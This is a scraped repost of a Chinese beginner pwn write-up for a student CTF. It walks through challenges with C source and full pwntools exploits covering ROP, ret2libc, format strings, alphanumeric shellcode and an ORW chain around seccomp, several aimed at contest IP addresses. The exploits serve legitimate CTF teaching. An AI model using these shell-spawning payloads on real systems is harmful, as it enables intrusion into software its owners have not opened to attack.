<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從某新生賽入門PWN

    VSole2022-11-26 16:02:34

    本文為看雪論壇優秀文章

    看雪論壇作者ID:bad_c0de

    在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。

    賽題

    ezcmp

    賽題分析

    該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。

    #includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt(char *buf){    int a;    for(int i=0;i<29;i++){        a=rand();        buf[i]^=buffff[i];        buff[i]^=bua[i];        for(int j=29;j>=0;j--){            buf[j]=buff[i];            buf[i]+='2';        }        buf[i]-=((bua[i]^0x30)*(buffff[i]>>2)&1)&0xff;        buf[i]+=(a%buff[i])&0xff;    }}int main(){    setbuf(stdin,0);    setbuf(stderr,0);    setbuf(stdout,0);    puts("GDB-pwndbg maybe useful");    char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss";    strcpy(buff,buf);    char test[30];    int v0=1;    srand(v0);    enccrypt(buff);    read(0,test,30);    if(!strncmp(buff,test,30)){        system("/bin/sh");    }    else {        puts("Oh No!You lose!!!");        exit(0);    }    return; }
    

    因此在0x4014b4處下斷點,查看buff的值即可,將buff的值發送即可。(注意小端模式)

    exp

    from pwn import *context.log_level='debug'#io=process('./ezcmp')io=remote('43.143.7.97',28931)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'\x72\x40\x0e\xdc\xaa\x78\x46\x14\xe2\xb0\x7e\x4c\x1a\xe8\xb6\x84\x52\x20\xee\xbc\x8a\x58\x26\xf4\xc2\x90\x5e\x2c\xcb\xc8')shell()
    

    ezr0p32

    賽題分析

    查看該程序保護:

    開了NX,NX即No-execute(不可執行)的意思,NX(DEP)的基本原理是將數據所在內存頁標識為不可執行,當程序溢出成功轉入shellcode時,程序會嘗試在數據頁面上執行指令,此時CPU就會拋出異常,而不是去執行惡意指令。 隨著 NX 保護的開啟,以往直接向棧或者堆上直接注入代碼的方式難以繼續發揮效果。所以就有了各種繞過辦法,rop就是一種,根據題目名稱可以知道該題目即需要通過rop繞過。

    ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。我們可以發現棧溢出的控制點是ret處,那么ROP的核心思想就是利用以ret結尾的指令序列把棧中的應該返回EIP的地址更改成我們需要的值,從而控制程序的執行流程。使指令被執行時都處于可執行區域,通過多個指令拼接起到shellcode的作用。

    IDA打開該程序進行分析,可以發現該程序的漏洞點位于dofunc處:

    在第二個read處存在著棧溢出,溢出長度為0x30-0x1c=0x14,因此在覆蓋了ebp之后還存在0x10的溢出長度。

    因此可以通過system('/bin/sh\x00')來getshell。在32位程序中函數的參數保存在棧中,因此直接在ret處覆蓋為call system函數的地址即可,而在其后存放/bin/sh的地址即可。

    我們可以發現在該程序找到call system,但是找不到/bin/sh。此時發現在溢出前面還存在一個read,并且讀入的地址是bss段,因此我們可以通過第一個read將/bin/sh讀入bss。(如果是將ret地址覆蓋為system函數地址的話,需要在system后面隨意加一個4字節數作為system函數的返回地址后再加/bin/sh;而在call system時它會進行push eip+4的操作將返回地址壓入棧中)

    exp

    from pwn import *context.log_level='debug'#io=process('./ezr0p')io=remote('1.14.71.254',28637)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'/bin/sh')rl()payload=b'a'*0x20+p32(0x08048562)+p32(0x0804A080)sl(payload)shell()
    

    ezr0p64

    賽題分析

    查看保護

    同理可以通過rop進行繞過。IDA打開程序進行分析:

    發現程序中既沒有system,也沒有/bin/sh,但是我們發現程序在vuln函數中給出了我們puts函數的地址。因此我們可以通過獲取puts函數的地址來取得libc的基址。這是因為所有函數地址都在libc中,其中libc中也包括著/bin/sh,而各個函數或者字符的相對偏移是不變的。因此獲取到libc的基址后我們根據相對偏移就可以獲取到system函數的地址和/bin/sh的地址。

    但是在64位程序中還需要注意函數的參數是通過rdi,rsi,rdx,rcx,r8,r9這6個寄存器進行存儲。而system函數的參數只要一個,即通過rdi進行存儲,因此我們可以通過pop rdi,ret來構造system的參數。

    exp

    from pwn import *from LibcSearcher import *context.log_level='debug'#io=process('./ezrop64')elf=ELF('./ezrop64')libc=ELF('./libc.so.6')puts_got=elf.got['puts']puts_plt=elf.plt['puts']printf_got=elf.got['printf']io=remote('1.14.71.254',28658)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()ru(b'Gift :')puts_addr=int(r(14)[:],16)baseadd=puts_addr-libc.symbols['puts']print(hex(baseadd))system=baseadd+libc.symbols['system']print(hex(system))binsh=baseadd+libc.search(b'/bin/sh').__next__()print(hex(binsh))payload=b'a'*0x108+p64(0x4012a3)+p64(binsh)+p64(0x40101a)+p64(system)ru('Start your rop.')sl(payload)shell()
    

    ezfmt

    賽題分析

    該程序的c代碼如下,它先讀取入了flag文件,然后將該值賦給了pointer。而在最后的printf函數中存在著格式化字符串漏洞。

    #includechar name[0x30];int key;int main(){     setbuf(stdin,0);     setbuf(stderr,0);     setbuf(stdout,0);     puts("Welcome to the world of fmtstr");     puts("> ");     int fd=open("flag",0);     if(fd==-1){        perror("Open failed.");     }     read(fd,name,0x30);     size_t *pointer=&name;     char buf[0x100];     puts("Input your format string.");     read(0,buf,0x100);     puts("Ok.");     printf(buf);}
    

    格式化字符串漏洞主要是因為printf不會檢查格式化字符串中的占位符是否與所給的參數數目相等。而在printf輸出的過程中,每遇到一個占位符,就會到“約定好”的位置獲取數據并根據該占位符的類型解碼并輸出。因此我們可以通過輸入惡意構造的格式化字符串來實現任意地址寫,任意地址讀。

    但是首先我們需要知道我們現在的格式化字符串的位置,這可以通過多個%p來獲取。

    在該程序中,我們可以發現第六個%p處輸出了我們最先輸入的aaaaaaaa。因此我們輸入的格式化字符串處于第六個位置。而在任意地址讀寫時需要注意的是printf函數遇到\x00時會被截斷,因此地址這些參數都需要放在最后面。除此之外,我們還需要保證格式化字符串與棧對齊,否則相應對應的地址無法正確解析。

    exp

    from pwn import *context.log_level='debug'#io=process('./ezfmt')io=remote('43.143.7.97',28705)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()rl()rl()payload=b'%7$s....'+p64(0x4040a0)s(payload)rl()
    

    safe_shellcode

    賽題分析

    該程序的c代碼如下,可以發現我們需要輸入的指令的每個字符都處于‘0’~‘z’中,這樣才會執行我們輸入的指令。

    #includechar buff[0x200];int main(){    setbuf(stdin,0);    setbuf(stderr,0);    setbuf(stdout,0);    mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);    char buf[0x200];    memset(buf,0,0x200);    read(0,buf,0x300);    for(int i=0;i<strlen(buf);i++){        if(buf[i]<'0'||buf[i]>'z'){            puts("Hacker!!!");            exit(0);        }    }    strcpy(buff,buf);    ((void (*)(void))buff)();    return 0;}
    

    通過構造syscall執行read讀入無限制shellcode。

    exp

    from pwn import * context(log_level='debug',arch='amd64',os='linux')  io=process('./shellcoder')attach(io)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()pause()shellcode='''        push rax        pop rsi        push 0x40404040        pop rax        xor rax,0x40404040        push rax        pop rdi        push 0x40404040        pop rax        xor rax,0x40404141        push rax        pop rdx        push 0x40404040        pop rax        xor rax,0x40404040        push 0x60604040        pop rcx        xor dword ptr[rsi+0x33],ecx        '''s(asm(shellcode)+b'\x4f\x45\x30\x30')payload=b'a'*0x35+asm(shellcraft.sh())sl(payload)shell()
    

    ret2shellcode

    賽題分析

    該程序c代碼如下:

    #includechar buff[256];int main(){    setbuf(stdin,0);    setbuf(stderr,0);    setbuf(stdout,0);    mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);    char buf[256];    memset(buf,0,0x100);    read(0,buf,0x110);    strcpy(buff,buf);    return 0;}
    

    可以知道該程序開辟了一段長度為0x1000的可讀可寫可執行的區域。

    并且在read 函數處存在棧溢出,并且會把我們的輸入復制給可執行的區域,因此我們在讀取最開始處寫入shellcode;然后再覆蓋返回地址為buff的地址處即可。

    exp

    from pwn import *context.log_level='debug'context(os='linux', arch='amd64', log_level='debug')#io=process('./shellcode')io=remote('43.143.7.97',28497)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()payload=asm(shellcraft.sh())sl(payload.ljust(0x108,b'\x00')+p64(0x4040a0))shell()
    

    easy_overflow

    賽題分析

    該程序代碼如下,可以發現為最簡單的棧溢出,只要覆蓋number的值使其不為0即可。

    #includeint main(){    setbuf(stdin,0);    setbuf(stdout,0);    setbuf(stderr,0);    puts("Input something");    char name[30];    int number=0;    gets(name);    if(number!=0){        puts("You win.");        system("cat flag");    }    return 0;
    

    exp

    直接輸入一大串字符即可。

    arrayRE

    賽題分析

    IDA打開分析,發現是簡單的逆向分析,需要確保輸入的24數字經過運算之后與s2一致。因為計算比較簡單,而且必須都是數字,因此我們可以直接在0-9中進行爆破即可,滿足條件的即是正確的值。

    exp

    #!/usr/bin/env python# -*- encoding: utf-8 -*-from pwn import *from LibcSearcher import *context(log_level='debug',arch='amd64',os='linux')io=process('./arrayRE')#io=remote('43.143.7.97',28126)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()a='831654239123423452610584'flag='8'def decode(a1,a2):    return (35*(a1-48)+18*(a2-48)+2)%10for i in range(len(a)-1):    for j in range(10):        if (decode(ord(a[i]),i+ord(a[i]))+int(j)+3)%10+48==ord(a[i+1]):            flag+=str(j)            breakprint(flag)rl()rl()sl(b'aaa')ru(b'password:')sl(flag)shell()
    

    intorw

    賽題分析

    先看程序保護:

    ida打開分析,可以發現該程序存在seccomp沙箱,即限制了可用的系統調用。

    通過seccomp-tools進行分析,可以發現該程序只允許通過系統調用open,read,write三個函數。因此我們無法getshell,但是可以通過open('flag',0),read(fd,bss,length),write(1,bss,length)或者puts(bss)來進行泄露函數。

    繼續分析程序,可以發現在vuln函數中存在整數溢出,在進行比較時v2為int類型,但是經過bitchange轉換后會變成無符號整數,因此輸入一個負數會轉變成一個極大的正數造成溢出。

    而且flag字符可以在程序中找到。

    造成溢出后我們就可以通過構造rop鏈來實現orw。但是我們發現在該處并沒有給rdx賦值的gadget,此時有兩個思路,一個是利用ret2csu,一個是利用libc中間的gadget。ret2csu會在下一題講到,因此在這里用的是libc中的gadget。

    由于程序開啟了full relro,因此要利用orw的話要先泄露libc基址以便于利用open函數與libc中的gadget。

    所以此題流程為先利用puts函數泄露puts函數地址,然后再劫持控制流返回到main函數再次造成溢出,在此構造rop鏈來達成orw。

    exp

    #!/usr/bin/env python# -*- encoding: utf-8 -*-from pwn import *from LibcSearcher import *context(log_level='debug',arch='amd64',os='linux')elf=ELF('./intorw')libc=ELF('./libc.so.6')io=process('./intorw')io=remote('43.143.7.97',28254)s = lambda buf: io.send(buf)sl = lambda buf: io.sendline(buf)sa = lambda delim, buf: io.sendafter(delim, buf)sal = lambda delim, buf: io.sendlineafter(delim, buf)shell = lambda: io.interactive()r = lambda n=None: io.recv(n)ra = lambda t=tube.forever:io.recvall(t)ru = lambda delim: io.recvuntil(delim)rl = lambda: io.recvline()rl()sl(b'-1000')read_plt=elf.plt['read']pop_addr=0x0400ACAmov_addr=0x00400AB0puts_plt=elf.plt['puts']puts_got=elf.got['puts']bss=0x6010E0pop_rdi=0x400ad3payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(0x4009C4)rl()sl(payload)puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))libc_base=puts_addr-libc.sym['puts']pop_rsi=0x2be51+libc_basepop_rdx_r12=0x11f497+libc_baseprint(hex(libc_base))opEn=libc_base+libc.sym['open']write=libc_base+libc.sym['write']rl()rl()sl(b'-100')rl()payload=b'a'*0x28+p64(pop_rdi)+p64(0x601046)+p64(pop_rsi)+p64(0)+p64(opEn)+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0x601000)+p64(pop_rdx_r12)+p64(0x100)+p64(0)+p64(read_plt)+p64(pop_rdi)+p64(0x601000)+p64(puts_plt)sl(payload)rl()
    

    鏈接:https://pan.baidu.com/s/1wB9peKp2BL8h2tmjruPqlQ

    提取碼:f4tw

    lambdachar函數
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    在我們學習c語言的時候我們就知道在輸出或者輸入的時候需要使用%s%d等等格式化字符,此處不過多介紹,詳情可以去看看c語言的基礎知識。
    從某新生賽入門PWN
    2022-11-26 16:02:34
    本文為看雪論壇優秀文章看雪論壇作者ID:bad_c0de在某平臺上看到了質量不錯的新生賽,難度也比較適宜,因此嘗試通過該比賽進行入門,也將自己所學分享給大家。賽題ezcmp賽題分析該程序的C代碼如下,因此我們只要使buff和test的前三十個字節相同即可。因此可以直接在比較處下斷點查看buff數組的值即可。#includechar buff[100];int v0;char buffff[]="ABCDEFGHIJKLMNOPQRSTUVWXYZ1234";char bua[]="abcdefghijklmnopqrstuvwxyz4321";char* enccrypt{ int a; for{ a=rand(); buf[i]^=buffff[i]; buff[i]^=bua[i]; for{ buf[j]=buff[i]; buf[i]+='2'; } buf[i]-=&0xff; buf[i]+=&0xff; }}int main(){ setbuf; setbuf; setbuf; puts; char buf[]="Ayaka_nbbbbbbbbbbbbbbbbb_pluss"; strcpy; char test[30]; int v0=1; srand; enccrypt; read; if(!ezr0p64賽題分析查看保護同理可以通過rop進行繞過。
    2021安洵杯PWN WP詳解
    2021-12-29 16:41:08
    做了2021安洵杯線上賽題目,總體來說題目有簡單有難的,難易程度合適,這次就做了pwn,把四道pwn題思路總結一下,重點是沒幾個人做出來的最后一道pwnsky,賽后做了復現。
    House of Cat5月份偶然發現的一種新型GLIBC中IO利用思路,目前適用于任何版本,命名為House of cat并出在2022強網杯中。但是需要攻擊位于TLS的_pointer_chk_guard,并且遠程可能需要爆破TLS偏移。并且house of cat在FSOP的情況下也是可行的,只需修改虛表指針的偏移來調用_IO_wfile_seekoff即可。vtable檢查在glibc2.24以后加入了對虛函數的檢測,在調用虛函數之前首先會檢查虛函數地址的合法性。
    賽時有考慮過ret to dl_resolve的做法,在網上查了下也沒發現有相關的文章,當時也沒有詳細研究,這次趁著期末考前有空,仔細琢磨了一下。
    LockerGoga分析
    2022-03-03 06:54:17
    LockerGoga是2019年3月發現的勒索病毒,該勒索病毒充分利用CPU的多核特性,嘗試最高的加密效率。
    前置知識Intel匯編,棧溢出利用,基礎rop鏈Stack_migration介紹當我們發現存在棧溢出漏洞,但是溢出字節非常小,比如0x10的時候我們就需要利用棧遷移,將棧遷移置足夠大的區段去編寫rop鏈以達到我們利用的目的。為了方便教學,這里以CTF賽題的形式進行教學。
    對于堆的恐懼來自堆復雜的管理機制,相較于棧來說復雜太多了,再加上使用GDB調試學習堆時,每次堆分配時,調試起來相當的麻煩,所以一直都是理論學習,堆不敢碰不敢嘗試。今日小明同學終于排除了心中對堆的恐懼,在高鐵上嘗試了一下堆,熟悉了堆的分配機制。題目分析基本信息分析查看文件類型,32位,沒有去掉符號。notepad_new大致通過注釋解釋了一下分析過程,后面不再進行詳細的分析。
    Kernel PWN從入門到提升
    2023-03-23 10:17:57
    所以我決定用此文章結合一道不錯的例題盡可能詳細的來講一下kernel pwn從入門過渡到較高難度的部分,供想要學習kernel pwn的小伙伴們參考。文件系統kernel題一般都會給出一個打包好的文件系統,因此需要掌握常用到的打包/解包命令。
    mruby是一個Ruby語言的輕量級實現,mruby工作方式類似CPython,它可以將Ruby源碼編譯為字節碼,再在虛擬機中解釋運行。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类